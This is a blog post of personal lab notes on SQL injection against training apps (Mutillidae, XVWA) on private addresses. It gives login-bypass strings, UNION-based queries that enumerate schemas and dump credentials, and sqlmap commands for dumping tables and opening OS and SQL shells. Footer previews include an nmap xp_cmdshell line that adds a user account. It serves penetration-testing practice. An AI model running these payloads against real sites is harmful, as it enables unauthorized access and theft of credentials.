Skip to main content

SQL INJECTION

By
SQL INJECTION
-----------------------------------------------------------------------------------
=============================== SQL INJECTION =====================================
-----------------------------------------------------------------------------------

mysql -u root -h 192.168.149.128
show databases;
use owasp10
show tables;
select * from accounts
------------------------------------
DISCOVERING SQL INJECTION IN POST
-------------------------------------

go to any login pages  which uses sql

Enter '  in the login and password boxes and see the output



Select * from accounts where username= 'zaid' and password='123456'

give a correct username --> noob

1234' and 1=1#

or

"" or 1=1 --"

Its Select * from accounts where username= 'zaid' and password='PASSWORD' and 1=1 #'

--------------------------------------------------------------------------

Hacking MySql DB password
-------------------------

Select * from accounts where username= 'zaid' and password='anytext' or 1=1 #'

anytext' or 1=1 #

----------------------------------------------------------------------------

Hacking Username and password
-----------------------------

Select * from accounts where username= 'admin' #' and password='anytext' or 1=1 #'

admin' #

Select * from accounts where username= 'admin'
// Because of the #(comment) rest of the query will not be executed and we cam bypass login

-----------------------------------------------------------------------------------------------
========================== HACKING Medium SQL DATABAES ===================================
-----------------------------------------------------------------------------------------------
sql injection can be stopped by 2 methods --> client side filtering and serve side filtering

client side filter can be hacked by using burpsuite

change the password parameter in the request tab

------------------------------------------------------------------------------------------------
========================== Exploiting GET Requests in SQL===================================
-----------------------------------------------------------------------------------------------

index.php?page=user-info.php&username=admin&password=adminpass&user-info-php-submit
-button=View+Account+Details

change it to
-------------------------:
'order by 1%23           :
-------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob' order by 1%23&password=1234&user-info-php-submit-button=View+Account+Details

%number is only used when typing the command in the address bar

%20 = space
%23 = #
%27 = '

--------------------------:
'union select 1,2,3,4,5%23:
--------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,2,3,4,5%23&password=1234&user-info-php-submit-button=View+Account+Details

here 1,5 are occupied

only 2,3,4 showed the outputs which we can modify

-------------------------------------------------:
'union select 1,database(),user(),version(),5%23 :
-------------------------------------------------:
http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,database(),user(),version(),5%23&password=1234&user-info-php-submit-button=View+Account+Details
                   ------------------------------------------------
 
Information Schema: it is a default database created by mysql, it contains all the information about all other databases

-------------------------------------------------------------------------:
'union select 1,table_name,null,null,5 from information_schema.tables%23 :
-------------------------------------------------------------------------:

.tables = table
information_schema = database
table_name = column

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,table_name,null,null,5 from information_schema.tables%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 238 records found.// Shows the records of all the dbs in the server/db


-------------------------------------------------------------------------------------------------------:
'union select 1,table_name,null,null,5 from information_schema.tables where table_schema= 'owasp10'%23 :
-------------------------------------------------------------------------------------------------------:

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,table_name,null,null,5 from information_schema.tables where table_schema= 'owasp10'%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 8 records found.

Username=accounts
Password=
Signature=

Username=blogs_table
Password=
Signature=

Username=captured_data
Password=
Signature=

Username=credit_cards
Password=
Signature=

Username=hitlog
Password=
Signature=

Username=pen_test_tools
Password=
Signature=


So, we found out the columns in the db, lets dig deeper into the database
to check the data in a particular column, the command is

--------------------------------------------------------------------------------------------------------:
'union select 1,column_name,null,null,5 from information_schema.columns where table_name= 'accounts'%23 :
--------------------------------------------------------------------------------------------------------:

192.168.149.136/mutillidae/index.php?page=user-info.php&username=noob'union select 1,column_name,null,null,5 from information_schema.columns where table_name= 'accounts'%23&password=1234&user-info-php-submit-button=View+Account+Details

Results for . 7 records found.

Username=cid
Password=
Signature=

Username=username
Password=
Signature=

Username=password
Password=
Signature=

Username=mysignature
Password=
Signature=

Username=is_admin
Password=
Signature=


so, the columns in the accounts are  CID, username, password,mysignature,is_admin

so, lets get the usernames and passwords from the table


---------------------------------------------------------------:
'union select 1,username,password,is_admin,5 from accounts%23  :
---------------------------------------------------------------:

1,5 cant be substiuted as the data is not displyed in it when tested. so we are using only 2,3,4

Results for . 19 records found.
Username=noob
Password=1234
Signature=Freak

Username=noob
Password=1234
Signature=Noob

Username=admin
Password=adminpass
Signature=TRUE

Username=adrian
Password=somepassword
Signature=TRUE

Username=kevin
Password=42
Signature=FALSE

Username=dave
Password=set
Signature=FALSE

Username=ed
Password=pentest
Signature=FALSE

=============================================================================

==================================================== SQLMAP =====================================================================

sqlmap --help
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details"

List all the databases:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --dbs

Current User:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --current-user

Current DB:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --current-db

Tables:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --tables -D owasp10

Columns:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --columns -T accounts -D owasp10

Dump:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" -T accounts -D owasp10 --dump

OS Shell:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --os-shell

SQL Shell:
sqlmap -u "http://192.168.149.136/mutillidae/index.php?page=user-info.php&username=admin&password=sadasd&user-info-php-submit-button=View+Account+Details" --sql-shell
current_user()
user()
database()
select tablename from information_schema.table where table_schema = 'owasp10'



--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

' /try entering ' to check for sql injection
' order by 7#

2,4,5,6 are vulnerable


'union select 1,database(),3,user(),version(),6,7 #

'union select 1,table_name,3,null,null,null,7 from information_schema.table


'union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema= 'xvwa'#
--> users,caffine,comments

'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name= 'users'#
uid, username, password

'union select 1,username,3,password,uid,6,7 from users#

tem Code : admin   Description : 1
Item Name : 21232f297a57a5a743894a0e4a801fc3
Category : 6

Item Code : xvwa   Description : 2
Item Name : 570992ec4b5ad7a313f5dc8fd0825395
Category : 6

Item Code : user   Description : 3
Item Name : 25890deab1075e916c06b9e1efc2e25f





Labels:

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Host and Application locally and access it over the internet via ngrock

By
 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...
Post a Comment
Read more